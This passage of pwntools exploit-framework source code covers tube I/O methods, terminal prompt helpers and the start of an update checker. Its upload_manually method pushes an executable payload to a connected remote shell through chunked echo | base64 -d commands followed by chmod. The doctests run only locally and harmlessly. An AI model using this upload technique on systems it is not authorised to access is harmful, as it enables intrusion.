a tty.\n                    if sys.stdin.isatty() and (\n                        term_mode\n                        or context.newline != b\"\\n\"\n                        or self._newline is not None\n                    ):\n                        if to_skip:\n                            if to_skip[:1] != data:\n                                data = os_linesep[: -len(to_skip)] + data\n                            else:\n                                to_skip = to_skip[1:]\n                                if to_skip:\n                                    continue\n                                data = self.newline\n                        # If we observe a prefix of the line separator in a tty,\n                        # assume we'll see the rest of it immediately after.\n                        # This could stall until the next character is seen if\n                        # the line separator is started but never finished, but\n                        # that is unlikely to happen in a dynamic tty.\n                        elif data and os_linesep.startswith(data):\n                            if len(os_linesep) > 1:\n                                to_skip = os_linesep[1:]\n                                continue\n                            data = self.newline\n\n                if data:\n                    try:\n                        self.send(data)\n                    except EOFError:\n                        go.set()\n                        self.info('Got EOF while sending in interactive')\n                else:\n                    go.set()\n        except KeyboardInterrupt:\n            self.info('Interrupted')\n            go.set()\n\n        while t.is_alive():\n            t.join(timeout = 0.1)\n\n    def stream(self, line_mode=True):\n        \"\"\"stream()\n\n        Receive data until the tube exits, and print it to stdout.\n\n        Similar to :func:`interactive`, except that no input is sent.\n\n        Similar to ``print(tube.recvall())`` except that data is printed\n        as it is received, rather than after all data is received.\n\n        Arguments:\n            line_mode(bool): Whether to receive line-by-line or raw data.\n\n        Returns:\n            All data printed.\n        \"\"\"\n        buf = Buffer()\n        function = self.recvline if line_mode else self.recv\n        try:\n            while True:\n                buf.add(function())\n                stdout = sys.stdout\n                if not term.term_mode:\n                    stdout = getattr(stdout, 'buffer', stdout)\n                stdout.write(buf.data[-1])\n        except KeyboardInterrupt:\n            pass\n        except EOFError:\n            pass\n\n        return buf.get()\n\n    def clean(self, timeout = 0.05):\n        \"\"\"clean(timeout = 0.05)\n\n        Removes all the buffered data from a tube by calling\n        :meth:`pwnlib.tubes.tube.tube.recv` with a low timeout until it fails.\n\n        If ``timeout`` is zero, only cached data will be cleared.\n\n        Note: If timeout is set to zero, the underlying network is\n        not actually polled; only the internal buffer is cleared.\n\n        Returns:\n\n            All data received\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.unrecv(b'clean me up')\n            >>> t.clean(0)\n            b'clean me up'\n            >>> len(t.buffer)\n            0\n        \"\"\"\n        if timeout == 0:\n            return self.buffer.get()\n\n        return self.recvrepeat(timeout)\n\n    def clean_and_log(self, timeout = 0.05):\n        r\"\"\"clean_and_log(timeout = 0.05)\n\n        Works exactly as :meth:`pwnlib.tubes.tube.tube.clean`, but logs received\n        data with :meth:`pwnlib.self.info`.\n\n        Returns:\n\n            All data received\n\n        Examples:\n\n            >>> def recv(n, data=[b'', b'hooray_data']):\n            ...     while data: return data.pop()\n            >>> t = tube()\n            >>> t.recv_raw      = recv\n            >>> t.connected_raw = lambda d: True\n            >>> t.fileno        = lambda: 1234\n            >>> with context.local(log_level='info'):\n            ...     data = t.clean_and_log()\n            [...] Received 0xb bytes:\n                b'hooray_data'\n            >>> data\n            b'hooray_data'\n            >>> context.clear()\n        \"\"\"\n        cached_data = self.buffer.get()\n        if cached_data and not self.isEnabledFor(logging.DEBUG):\n            with context.local(log_level='debug'):\n                self.debug('Received %#x bytes:' % len(cached_data))\n                self.maybe_hexdump(cached_data, level=logging.DEBUG)\n        with context.local(log_level='debug'):\n            return cached_data + self.clean(timeout)\n\n    def upload_manually(self, data, target_path = './payload', prompt = b'$', chunk_size = 0x200, chmod_flags = 'u+x', compression='auto', end_marker = 'PWNTOOLS_DONE'):\n        \"\"\"upload_manually(data, target_path = './payload', prompt = b'$', chunk_size = 0x200, chmod_flags = 'u+x', compression='auto', end_marker = 'PWNTOOLS_DONE')\n\n        Upload a file manually using base64 encoding and compression.\n        This can be used when the tube is connected to a shell.\n\n        The file is uploaded in base64-encoded chunks by appending to a file\n        and then decompressing it:\n\n        .. code-block::\n\n            loop:\n                echo <chunk> | base64 -d >> <target_path>.<compression>\n            <compression> -d -f <target_path>.<compression>\n            chmod <chmod_flags> <target_path>\n\n        It is assumed that a `base64` command is available on the target system.\n        When ``compression`` is ``auto`` the best compression utility available\n        between ``gzip`` and ``xz`` is chosen with a fallback to uncompressed\n        upload.\n\n        Arguments:\n\n            data(bytes): The data to upload.\n            target_path(str): The path to upload the data to.\n            prompt(bytes): The shell prompt to wait for.\n            chunk_size(int): The size of each chunk to upload.\n            chmod_flags(str): The flags to use with chmod. ``\"\"`` to ignore.\n            compression(str): The compression to use. ``auto`` to automatically choose the best compression or ``gzip`` or ``xz``.\t\n            end_marker(str): The marker to use to detect the end of the output. Only used when prompt is not set.\n\n        Examples:\n\n        .. doctest::\n            :options: +POSIX +TODO\n\n            >>> l = listen()\n            >>> l.spawn_process('/bin/sh')\n            >>> r = remote('127.0.0.1', l.lport)\n            >>> r.upload_manually(b'some\\\\xca\\\\xfedata\\\\n', prompt=b'', chmod_flags='')\n            >>> r.sendline(b'cat ./payload')\n            >>> r.recvline()\n            b'some\\\\xca\\\\xfedata\\\\n'\n\n            >>> r.upload_manually(cyclic(0x1000), target_path='./cyclic_pattern', prompt=b'', chunk_size=0x10, compression='gzip')\n            >>> r.sendline(b'sha256sum ./cyclic_pattern')\n            >>> r.recvlineS(keepends=False).startswith(sha256sumhex(cyclic(0x1000)))\n            True\n\n            >>> blob = ELF.from_assembly(shellcraft.echo('Hello world!\\\\n') + shellcraft.exit(0))\n            >>> r.upload_manually(blob.data, prompt=b'')\n            >>> r.sendline(b'./payload')\n            >>> r.recvline()\n            b'Hello world!\\\\n'\n            >>> r.close()\n            >>> l.close()\n        \"\"\"\n        echo_end = \"\"\n        if not prompt:\n            echo_end = \"; echo {}\".format(end_marker)\n            end_markerb = end_marker.encode()\n        else:\n            end_markerb = prompt\n\n        # Detect available compression utility, fallback to uncompressed upload.\n        compression_mode = None\n        possible_compression = ['xz', 'gzip']\n        if not prompt:\n            self.sendline(\"echo {}\".format(end_marker).encode())\n        if compression == 'auto':\n            for utility in possible_compression:\n                self.sendlineafter(end_markerb, \"command -v {} && echo YEP || echo NOPE{}\".format(utility, echo_end).encode())\n                result = self.recvuntil([b'YEP', b'NOPE'])\n                if b'YEP' in result:\n                    compression_mode = utility\n                    break\n        elif compression in possible_compression:\n            compression_mode = compression\n        else:\n            self.error('Invalid compression mode: %s, has to be one of %s', compression, possible_compression)\n\n        self.debug('Manually uploading using compression mode: %s', compression_mode)\n\n        compressed_data = b''\n        if compression_mode == 'xz':\n            import lzma\n            compressed_data = lzma.compress(data, format=lzma.FORMAT_XZ, preset=9)\n            compressed_path = target_path + '.xz'\n        elif compression_mode == 'gzip':\n            import gzip\n            from io import BytesIO\n            f = BytesIO()\n            with gzip.GzipFile(fileobj=f, mode='wb', compresslevel=9) as g:\n                g.write(data)\n            compressed_data = f.getvalue()\n            compressed_path = target_path + '.gz'\n        else:\n            compressed_path = target_path\n\n        # Don't compress if it doesn't reduce the size.\n        if len(compressed_data) >= len(data):\n            compression_mode = None\n            compressed_path = target_path\n        else:\n            data = compressed_data\n\n        # Upload data in `chunk_size` chunks. Assume base64 is available.\n        with self.progress('Uploading payload') as p:\n            for idx, chunk in enumerate(iters.group(chunk_size, data)):\n                if None in chunk:\n                    chunk = chunk[:chunk.index(None)]\n                if idx == 0:\n                    self.sendlineafter(end_markerb, \"echo {} | base64 -d > {}{}\".format(fiddling.b64e(bytearray(chunk)), compressed_path, echo_end).encode())\n                else:\n                    self.sendlineafter(end_markerb, \"echo {} | base64 -d >> {}{}\".format(fiddling.b64e(bytearray(chunk)), compressed_path, echo_end).encode())\n                p.status('{}/{} {}'.format(idx+1, len(data)//chunk_size+1, misc.size(idx*chunk_size + len(chunk))))\n            p.success(misc.size(len(data)))\n\n        # Decompress the file and set the permissions.\n        if compression_mode is not None:\n            self.sendlineafter(end_markerb, '{} -d -f {}{}'.format(compression_mode, compressed_path, echo_end).encode())\n        if chmod_flags:\n            self.sendlineafter(end_markerb, 'chmod {} {}{}'.format(chmod_flags, target_path, echo_end).encode())\n        if not prompt:\n            self.recvuntil(end_markerb + b'\\n')\n\n    def connect_input(self, other):\n        \"\"\"connect_input(other)\n\n        Connects the input of this tube to the output of another tube object.\n\n\n        Examples:\n\n            >>> def p(x): print(x.decode())\n            >>> def recvone(n, data=[b'data']):\n            ...     while data: return data.pop()\n            ...     raise EOFError\n            >>> a = tube()\n            >>> b = tube()\n            >>> a.recv_raw = recvone\n            >>> b.send_raw = p\n            >>> a.connected_raw = lambda d: True\n            >>> b.connected_raw = lambda d: True\n            >>> a.shutdown      = lambda d: True\n            >>> b.shutdown      = lambda d: True\n            >>> import time\n            >>> _=(b.connect_input(a), time.sleep(0.1))\n            data\n        \"\"\"\n\n        def pump():\n            import sys as _sys\n            while self.countdown_active():\n                if not (self.connected('send') and other.connected('recv')):\n                    break\n\n                try:\n                    data = other.recv(timeout = 0.05)\n                except EOFError:\n                    break\n\n                if not _sys:\n                    return\n\n                if not data:\n                    continue\n\n                try:\n                    self.send(data)\n                except EOFError:\n                    break\n\n                if not _sys:\n                    return\n\n            self.shutdown('send')\n            other.shutdown('recv')\n\n        t = context.Thread(target = pump)\n        t.daemon = True\n        t.start()\n\n    def connect_output(self, other):\n        \"\"\"connect_output(other)\n\n        Connects the output of this tube to the input of another tube object.\n\n        Examples:\n\n            >>> def p(x): print(repr(x))\n            >>> def recvone(n, data=[b'data']):\n            ...     while data: return data.pop()\n            ...     raise EOFError\n            >>> a = tube()\n            >>> b = tube()\n            >>> a.recv_raw = recvone\n            >>> b.send_raw = p\n            >>> a.connected_raw = lambda d: True\n            >>> b.connected_raw = lambda d: True\n            >>> a.shutdown      = lambda d: True\n            >>> b.shutdown      = lambda d: True\n            >>> _=(a.connect_output(b), time.sleep(0.1))\n            b'data'\n        \"\"\"\n\n        other.connect_input(self)\n\n    def connect_both(self, other):\n        \"\"\"connect_both(other)\n\n        Connects the both ends of this tube object with another tube object.\"\"\"\n\n        self.connect_input(other)\n        self.connect_output(other)\n\n    def spawn_process(self, *args, **kwargs):\n        \"\"\"Spawns a new process having this tube as stdin, stdout and stderr.\n\n        Takes the same arguments as :class:`subprocess.Popen`.\"\"\"\n\n        return subprocess.Popen(\n            *args,\n            stdin = self.fileno(),\n            stdout = self.fileno(),\n            stderr = self.fileno(),\n            **kwargs\n        )\n\n    def __lshift__(self, other):\n        \"\"\"\n        Shorthand for connecting multiple tubes.\n\n        See :meth:`connect_input` for more information.\n\n        Examples:\n\n            The following are equivalent ::\n\n                tube_a >> tube.b\n                tube_a.connect_input(tube_b)\n\n            This is useful when chaining multiple tubes ::\n\n                tube_a >> tube_b >> tube_a\n                tube_a.connect_input(tube_b)\n                tube_b.connect_input(tube_a)\n        \"\"\"\n        self.connect_input(other)\n        return other\n\n    def __rshift__(self, other):\n        \"\"\"\n        Inverse of the ``<<`` operator.  See :meth:`__lshift__`.\n\n        See :meth:`connect_input` for more information.\n        \"\"\"\n        self.connect_output(other)\n        return other\n\n    def __ne__(self, other):\n        \"\"\"\n        Shorthand for connecting tubes to eachother.\n\n        The following are equivalent ::\n\n            a >> b >> a\n            a <> b\n\n        See :meth:`connect_input` for more information.\n        \"\"\"\n        self << other << self\n\n    def wait_for_close(self, timeout=default):\n        \"\"\"Waits until the tube is closed.\"\"\"\n\n        with self.countdown(timeout):\n            while self.countdown_active():\n                if not self.connected():\n                    return\n                time.sleep(min(self.timeout, 0.05))\n\n    wait = wait_for_close\n\n    def can_recv(self, timeout = 0):\n        \"\"\"can_recv(timeout = 0) -> bool\n\n        Returns True, if there is data available within `timeout` seconds.\n\n        Examples:\n\n            >>> import time\n            >>> t = tube()\n            >>> t.can_recv_raw = lambda *a: False\n            >>> t.can_recv()\n            False\n            >>> _=t.unrecv(b'data')\n            >>> t.can_recv()\n            True\n            >>> _=t.recv()\n            >>> t.can_recv()\n            False\n        \"\"\"\n\n        return bool(self.buffer or self.can_recv_raw(timeout))\n\n    def settimeout(self, timeout):\n        \"\"\"settimeout(timeout)\n\n        Set the timeout for receiving operations. If the string \"default\"\n        is given, then :data:`context.timeout` will be used. If None is given,\n        then there will be no timeout.\n\n        Examples:\n\n            >>> t = tube()\n            >>> t.settimeout_raw = lambda t: None\n            >>> t.settimeout(3)\n            >>> t.timeout == 3\n            True\n        \"\"\"\n\n        self.timeout = timeout\n\n\n    shutdown_directions = {\n        'in':    'recv',\n        'read':  'recv',\n        'recv':  'recv',\n        'out':   'send',\n        'write': 'send',\n        'send':  'send',\n    }\n\n    connected_directions = shutdown_directions.copy()\n    connected_directions['any'] = 'any'\n\n    def shutdown(self, direction = \"send\"):\n        \"\"\"shutdown(direction = \"send\")\n\n        Closes the tube for futher reading or writing depending on `direction`.\n\n        Arguments:\n          direction(str): Which direction to close; \"in\", \"read\" or \"recv\"\n            closes the tube in the ingoing direction, \"out\", \"write\" or \"send\"\n            closes it in the outgoing direction.\n\n        Returns:\n          :const:`None`\n\n        Examples:\n\n            >>> def p(x): print(x)\n            >>> t = tube()\n            >>> t.shutdown_raw = p\n            >>> _=list(map(t.shutdown, ('in', 'read', 'recv', 'out', 'write', 'send')))\n            recv\n            recv\n            recv\n            send\n            send\n            send\n            >>> t.shutdown('bad_value')\n            Traceback (most recent call last):\n            ...\n            KeyError: \"direction must be in ['in', 'out', 'read', 'recv', 'send', 'write']\"\n        \"\"\"\n        try:\n            direction = self.shutdown_directions[direction]\n        except KeyError:\n            raise KeyError('direction must be in %r' % sorted(self.shutdown_directions))\n        else:\n            self.shutdown_raw(self.shutdown_directions[direction])\n\n    def connected(self, direction = 'any'):\n        \"\"\"connected(direction = 'any') -> bool\n\n        Returns True if the tube is connected in the specified direction.\n\n        Arguments:\n          direction(str): Can be the string 'any', 'in', 'read', 'recv',\n                          'out', 'write', 'send'.\n\n        Doctest:\n\n            >>> def p(x): print(x)\n            >>> t = tube()\n            >>> t.connected_raw = p\n            >>> _=list(map(t.connected, ('any', 'in', 'read', 'recv', 'out', 'write', 'send')))\n            any\n            recv\n            recv\n            recv\n            send\n            send\n            send\n            >>> t.connected('bad_value')\n            Traceback (most recent call last):\n            ...\n            KeyError: \"direction must be in ['any', 'in', 'out', 'read', 'recv', 'send', 'write']\"\n        \"\"\"\n        try:\n            direction = self.connected_directions[direction]\n        except KeyError:\n            raise KeyError('direction must be in %r' % sorted(self.connected_directions))\n        else:\n            return self.connected_raw(direction)\n\n    def __enter__(self):\n        \"\"\"Permit use of 'with' to control scoping and closing sessions.\n\n        Examples:\n\n            >>> t = tube()\n            >>> def p(x): print(x)\n            >>> t.close = lambda: p(\"Closed!\")\n            >>> with t: pass\n            Closed!\n        \"\"\"\n        return self\n\n    def __exit__(self, type, value, traceback):\n        \"\"\"Handles closing for 'with' statement\n\n        See :meth:`__enter__`\n        \"\"\"\n        self.close()\n\n    # The minimal interface to be implemented by a child\n    @abc.abstractmethod\n    def recv_raw(self, numb):\n        \"\"\"recv_raw(numb) -> str\n\n        Should not be called directly. Receives data without using the buffer\n        on the object.\n\n        Unless there is a timeout or closed connection, this should always\n        return data. In case of a timeout, it should return None, in case\n        of a closed connection it should raise an ``exceptions.EOFError``.\n        \"\"\"\n\n        raise EOFError('Not implemented')\n\n    @abc.abstractmethod\n    def send_raw(self, data):\n        \"\"\"send_raw(data)\n\n        Should not be called directly. Sends data to the tube.\n\n        Should return ``exceptions.EOFError``, if it is unable to send any\n        more, because of a closed tube.\n        \"\"\"\n\n        raise EOFError('Not implemented')\n\n    def settimeout_raw(self, timeout):\n        \"\"\"settimeout_raw(timeout)\n\n        Should not be called directly. Sets the timeout for\n        the tube.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def timeout_change(self):\n        \"\"\"\n        Should not be called directly. Informs the raw layer of the tube that the timeout has changed.\n\n\n        Inherited from :class:`Timeout`.\n        \"\"\"\n        try:\n            self.settimeout_raw(self.timeout)\n        except NotImplementedError:\n            pass\n\n    def can_recv_raw(self, timeout):\n        \"\"\"can_recv_raw(timeout) -> bool\n\n        Should not be called directly. Returns True, if\n        there is data available within the timeout, but\n        ignores the buffer on the object.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def connected_raw(self, direction):\n        \"\"\"connected(direction = 'any') -> bool\n\n        Should not be called directly.  Returns True iff the\n        tube is connected in the given direction.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def close(self):\n        \"\"\"close()\n\n        Closes the tube.\n        \"\"\"\n        pass\n        # Ideally we could:\n        # raise NotImplementedError()\n        # But this causes issues with the unit tests.\n\n    def fileno(self):\n        \"\"\"fileno() -> int\n\n        Returns the file number used for reading.\n        \"\"\"\n\n        raise NotImplementedError()\n\n    def shutdown_raw(self, direction):\n        \"\"\"shutdown_raw(direction)\n\n        Should not be called directly.  Closes the tube for further reading or\n        writing.\n        \"\"\"\n\n        raise NotImplementedError()\n\n\n    def p64(self, *a, **kw):        return self.send(packing.p64(*a, **kw))\n    def p56(self, *a, **kw):        return self.send(packing.p56(*a, **kw))\n    def p48(self, *a, **kw):        return self.send(packing.p48(*a, **kw))\n    def p40(self, *a, **kw):        return self.send(packing.p40(*a, **kw))\n    def p32(self, *a, **kw):        return self.send(packing.p32(*a, **kw))\n    def p16(self, *a, **kw):        return self.send(packing.p16(*a, **kw))\n    def p8(self, *a, **kw):         return self.send(packing.p8(*a, **kw))\n    def pack(self, *a, **kw):       return self.send(packing.pack(*a, **kw))\n\n    def u64(self, *a, **kw):        return packing.u64(self.recvn(8), *a, **kw)\n    def u56(self, *a, **kw):        return packing.u56(self.recvn(7), *a, **kw)\n    def u48(self, *a, **kw):        return packing.u48(self.recvn(6), *a, **kw)\n    def u40(self, *a, **kw):        return packing.u40(self.recvn(5), *a, **kw)\n    def u32(self, *a, **kw):        return packing.u32(self.recvn(4), *a, **kw)\n    def u16(self, *a, **kw):        return packing.u16(self.recvn(2), *a, **kw)\n    def u8(self, *a, **kw):         return packing.u8(self.recvn(1), *a, **kw)\n    def unpack(self, *a, **kw):     return packing.unpack(self.recvn(context.bytes), *a, **kw)\n\n    def flat(self, *a, **kw):       return self.send(packing.flat(*a,**kw))\n    def fit(self, *a, **kw):        return self.send(packing.fit(*a, **kw))\n\n    # Dynamic functions\n\n    def make_wrapper(func):\n        def wrapperb(self, *a, **kw):\n            return bytearray(func(self, *a, **kw))\n        def wrapperS(self, *a, **kw):\n            return packing._decode(func(self, *a, **kw))\n        wrapperb.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a bytearray'.format(func=func)\n        wrapperb.__name__ = func.__name__ + 'b'\n        wrapperS.__doc__ = 'Same as :meth:`{func.__name__}`, but returns a str, ' \\\n                           'decoding the result using `context.encoding`. ' \\\n                           '(note that the binary versions are way faster)'.format(func=func)\n        wrapperS.__name__ = func.__name__ + 'S'\n        return wrapperb, wrapperS\n\n    for func in [recv,\n                 recvn,\n                 recvall,\n                 recvrepeat,\n                 recvuntil,\n                 recvpred,\n                 recvregex,\n                 recvline,\n                 recvline_contains,\n                 recvline_startswith,\n                 recvline_endswith,\n                 recvline_regex]:\n        for wrapper in make_wrapper(func):\n            locals()[wrapper.__name__] = wrapper\n\n    def make_wrapper(func, alias):\n        def wrapper(self, *a, **kw):\n            return func(self, *a, **kw)\n        wrapper.__doc__ = 'Alias for :meth:`{func.__name__}`'.format(func=func)\n        wrapper.__name__ = alias\n        return wrapper\n\n    for _name in list(locals()):\n        if 'recv' in _name:\n            _name2 = _name.replace('recv', 'read')\n        elif 'send' in _name:\n            _name2 = _name.replace('send', 'write')\n        else:\n            continue\n        locals()[_name2] = make_wrapper(locals()[_name], _name2)\n\n    # Clean up the scope\n    del wrapper, func, make_wrapper, _name, _name2\n"
  },
  {
    "path": "pwnlib/ui.py",
    "content": "import os\nimport signal\nimport string\nimport struct\nimport subprocess\nimport sys\nimport time\n\nfrom pwnlib import term\nfrom pwnlib.log import getLogger\nfrom pwnlib.term.readline import raw_input\nfrom pwnlib.tubes.process import process\n\nlog = getLogger(__name__)\n\ndef testpwnproc(cmd):\n    import fcntl\n    import termios\n    env = dict(os.environ)\n    env.pop(\"PWNLIB_NOTERM\", None)\n    env[\"TERM\"] = \"xterm-256color\"\n    def handleusr1(sig, frame):\n        s = p.stderr.read()\n        log.error(\"child process failed:\\n%s\", s.decode())\n    signal.signal(signal.SIGUSR1, handleusr1)\n    cmd = \"\"\"\\\nimport os\nimport signal\nimport sys\n_ehook = sys.excepthook\ndef ehook(*args):\n    _ehook(*args)\n    os.kill(os.getppid(), signal.SIGUSR1)\nsys.excepthook = ehook\nfrom pwn import *\n\"\"\" + cmd\n    if \"coverage\" in sys.modules:\n        cmd = \"import coverage; coverage.process_startup()\\n\" + cmd\n        env.setdefault(\"COVERAGE_PROCESS_START\", \".coveragerc\")\n    env['COLUMNS'] = '80'\n    env['ROWS'] = '24'\n    p = process([sys.executable, \"-c\", cmd], env=env, stderr=subprocess.PIPE)\n    # late initialization can lead to EINTR in many places\n    fcntl.ioctl(p.stdout.fileno(), termios.TIOCSWINSZ, struct.pack('HH', 24, 80))\n    return p\n\ndef yesno(prompt, default=None):\n    r\"\"\"Presents the user with prompt (typically in the form of question)\n    which the user must answer yes or no.\n\n    Arguments:\n      prompt (str): The prompt to show\n      default: The default option;  `True` means \"yes\"\n\n    Returns:\n      `True` if the answer was \"yes\", `False` if \"no\"\n\n    Examples:\n\n        >>> yesno(\"A number:\", 20)\n        Traceback (most recent call last):\n        ...\n        ValueError: yesno(): default must be a boolean or None\n        >>> saved_stdin = sys.stdin\n        >>> try:\n        ...     sys.stdin = io.TextIOWrapper(io.BytesIO(b\"x\\nyes\\nno\\n\\n\"))\n        ...     yesno(\"is it good 1\")\n        ...     yesno(\"is it good 2\", True)\n        ...     yesno(\"is it good 3\", False)\n        ... finally:\n        ...     sys.stdin = saved_stdin\n         [?] is it good 1 [yes/no] Please answer yes or no\n         [?] is it good 1 [yes/no] True\n         [?] is it good 2 [Yes/no] False\n         [?] is it good 3 [yes/No] False\n\n    Tests:\n\n        >>> p = testpwnproc(\"print(yesno('is it ok??'))\")\n        >>> b\"is it ok\" in p.recvuntil(b\"??\")\n        True\n        >>> p.sendline(b\"x\\nny\")\n        >>> b\"True\" in p.recvall()\n        True\n    \"\"\"\n\n    if default is not None and not isinstance(default, bool):\n        raise ValueError('yesno(): default must be a boolean or None')\n\n    if term.term_mode:\n        term.output(' [?] %s [' % prompt)\n        yesfocus, yes = term.text.bold('Yes'), 'yes'\n        nofocus, no = term.text.bold('No'), 'no'\n        hy = term.output(yesfocus if default is True else yes)\n        hs = term.output('/')\n        hn = term.output(nofocus if default is False else no)\n        he = term.output(']\\n')\n        cur = default\n        while True:\n            k = term.key.get()\n            if   k in ('y', 'Y', '<left>') and cur is not True:\n                cur = True\n                hy.update(yesfocus)\n                hn.update(no)\n            elif k in ('n', 'N', '<right>') and cur is not False:\n                cur = False\n                hy.update(yes)\n                hn.update(nofocus)\n            elif k == '<enter>':\n                if cur is not None:\n                    return cur\n    else:\n        prompt = ' [?] %s [%s/%s] ' % (prompt,\n                                       'Yes' if default is True else 'yes',\n                                       'No' if default is False else 'no',\n                                       )\n        while True:\n            opt = raw_input(prompt).strip().lower()\n            if not opt and default is not None:\n                return default\n            elif opt in (b'y', b'yes'):\n                return True\n            elif opt in (b'n', b'no'):\n                return False\n            print('Please answer yes or no')\n\ndef options(prompt, opts, default = None):\n    r\"\"\"Presents the user with a prompt (typically in the\n    form of a question) and a number of options.\n\n    Arguments:\n      prompt (str): The prompt to show\n      opts (list): The options to show to the user\n      default: The default option to choose\n\n    Returns:\n      The users choice in the form of an integer.\n\n    Examples:\n\n        >>> options(\"Select a color\", (\"red\", \"green\", \"blue\"), \"green\")\n        Traceback (most recent call last):\n        ...\n        ValueError: options(): default must be a number or None\n\n    Tests:\n\n        >>> p = testpwnproc(\"print(options('select a color', ('red', 'green', 'blue')))\")\n        >>> p.sendline(b\"\\33[C\\33[A\\33[A\\33[B\\33[1;5A\\33[1;5B 0310\")\n        >>> _ = p.recvall()\n        >>> saved_stdin = sys.stdin\n        >>> try:\n        ...     sys.stdin = io.TextIOWrapper(io.BytesIO(b\"\\n4\\n\\n3\\n\"))\n        ...     with context.local(log_level=\"INFO\"):\n        ...         options(\"select a color A\", (\"red\", \"green\", \"blue\"), 0)\n        ...         options(\"select a color B\", (\"red\", \"green\", \"blue\"))\n        ... finally:\n        ...     sys.stdin = saved_stdin\n         [?] select a color A\n               1) red\n               2) green\n               3) blue\n             Choice [1] 0\n         [?] select a color B\n               1) red\n               2) green\n               3) blue\n             Choice  [?] select a color B\n               1) red\n               2) green\n               3) blue\n             Choice  [?] select a color B\n               1) red\n               2) green\n               3) blue\n             Choice 2\n    \"\"\"\n\n    if default is not None and not isinstance(default, int):\n        raise ValueError('options(): default must be a number or None')\n\n    if term.term_mode:\n        numfmt = '%' + str(len(str(len(opts)))) + 'd) '\n        print(' [?] ' + prompt)\n        hs = []\n        space = '       '\n        arrow = term.text.bold_green('    => ')\n        cur = default\n        for i, opt in enumerate(opts):\n            h = term.output(arrow if i == cur else space, frozen = False)\n            num = numfmt % (i + 1)\n            h1 = term.output(num)\n            h2 = term.output(opt + '\\n', indent = len(num) + len(space))\n            hs.append((h, h1, h2))\n        ds = ''\n        while True:\n            prev = cur\n            was_digit = False\n            k = term.key.get()\n            if   k == '<up>':\n                if cur is None:\n                    cur = 0\n                else:\n                    cur = max(0, cur - 1)\n            elif k == '<down>':\n                if cur is None:\n                    cur = 0\n                else:\n                    cur = min(len(opts) - 1, cur + 1)\n            elif k == 'C-<up>':\n                cur = 0\n            elif k == 'C-<down>':\n                cur = len(opts) - 1\n            elif k in ('<enter>', '<right>'):\n                if cur is not None:\n                    return cur\n            elif k in tuple(string.digits):\n                was_digit = True\n                d = str(k)\n                n = int(ds + d)\n                if 0 < n <= len(opts):\n                    ds += d\n                    cur = n - 1\n                elif d != '0':\n                    ds = d\n                    n = int(ds)\n                    cur = n - 1\n\n            if prev != cur:\n                if prev is not None:\n                    hs[prev][0].update(space)\n                if was_digit:\n                    hs[cur][0].update(term.text.bold_green('%5s> ' % ds))\n                else:\n                    hs[cur][0].update(arrow)\n    else:\n        linefmt =       '       %' + str(len(str(len(opts)))) + 'd) %s'\n        if default is not None:\n            default += 1\n        while True:\n            print(' [?] ' + prompt)\n            for i, opt in enumerate(opts):\n                print(linefmt % (i + 1, opt))\n            s = '     Choice '\n            if default:\n                s += '[%s] ' % str(default)\n            try:\n                x = int(raw_input(s) or default)\n            except (ValueError, TypeError):\n                continue\n            if x >= 1 and x <= len(opts):\n                return x - 1\n\ndef pause(n=None):\n    r\"\"\"Waits for either user input or a specific number of seconds.\n\n    Examples:\n\n        >>> with context.local(log_level=\"INFO\"):\n        ...     pause(1)\n        [x] Waiting\n        [x] Waiting: 1...\n        [+] Waiting: Done\n        >>> pause(\"whatever\")\n        Traceback (most recent call last):\n        ...\n        ValueError: pause(): n must be a number or None\n\n    Tests:\n\n        >>> saved_stdin = sys.stdin\n        >>> try:\n        ...     sys.stdin = io.TextIOWrapper(io.BytesIO(b\"\\n\"))\n        ...     with context.local(log_level=\"INFO\"):\n        ...         pause()\n        ... finally:\n        ...     sys.stdin = saved_stdin\n        [*] Paused (press enter to continue)\n        >>> p = testpwnproc(\"pause()\")\n        >>> b\"Paused\" in p.recvuntil(b\"press any\")\n        True\n        >>> p.send(b\"x\")\n        >>> _ = p.recvall()\n    \"\"\"\n\n    if n is None:\n        if term.term_mode:\n            log.info('Paused (press any to continue)')\n            term.getkey()\n        else:\n            log.info('Paused (press enter to continue)')\n            raw_input('')\n    elif isinstance(n, int):\n        with log.waitfor(\"Waiting\") as l:\n            for i in range(n, 0, -1):\n                l.status('%d... ' % i)\n                time.sleep(1)\n            l.success()\n    else:\n        raise ValueError('pause(): n must be a number or None')\n\ndef more(text):\n    r\"\"\"more(text)\n\n    Shows text like the command line tool ``more``.\n\n    It not in term_mode, just prints the data to the screen.\n\n    Arguments:\n      text(str):  The text to show.\n\n    Returns:\n      :const:`None`\n\n    Tests:      \n \n        >>> more(\"text\")\n        text\n        >>> p = testpwnproc(\"more('text\\\\n' * (term.height + 2))\")\n        >>> p.send(b\"x\")\n        >>> data = p.recvall()\n        >>> b\"text\" in data or data\n        True\n    \"\"\"\n    if term.term_mode:\n        lines = text.split('\\n')\n        h = term.output(term.text.reverse('(more)'), float = True, frozen = False)\n        step = term.height - 1\n        for i in range(0, len(lines), step):\n            for l in lines[i:i + step]:\n                print(l)\n            if i + step < len(lines):\n                term.key.get()\n    else:\n        print(text)\n"
  },
  {
    "path": "pwnlib/update.py",
    "content": "\"\"\"\n# Pwntools Update\n\nIn order to ensure that Pwntools users always have the latest and\ngreatest version, Pwntools automatically checks for updates.\n\nSince this update check takes a moment, it is only performed once\nevery week.  It can be permanently disabled via:\n\n::\n\n    $ echo never > ~/.cache/.pwntools-cache-*/update\n\nOr adding the following lines to ~/.pwn.conf (or system-wide /etc/pwn.conf):\n\n::\n\n    [update]\n    interval=never\n\n\"\"\"\nimport datetime\nimport json\nimport os\nimport time\n\nimport packaging.version\n\nfrom pwnlib.args import args\nfrom pwnlib.config import register_config\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.misc import read\nfrom pwnlib.util.misc import write\nfrom pwnlib.util.web import wget\nfrom pwnlib.version import __version__\n\nlog = getLogger(__name__)\n\ncurrent_version = packaging.version.Version(__version__)\npackage_name    = 'pwntools'\npackage_repo    = 'Gallopsled/pwntools'\nupdate_freq     = datetime.timedelta(days=7).total_seconds()\ndisabled        = False\n\ndef read_update_config(settings):\n    for key, value in settings.items():\n        if key == 'interval':\n            if value == 'never':\n                global disabled\n                disabled = True\n            else:\n                try:\n                    value = int(value)\n                except ValueError:\n                    log.warn(\"Wrong value\")\n                else:\n                    global update_freq\n                    update_freq = 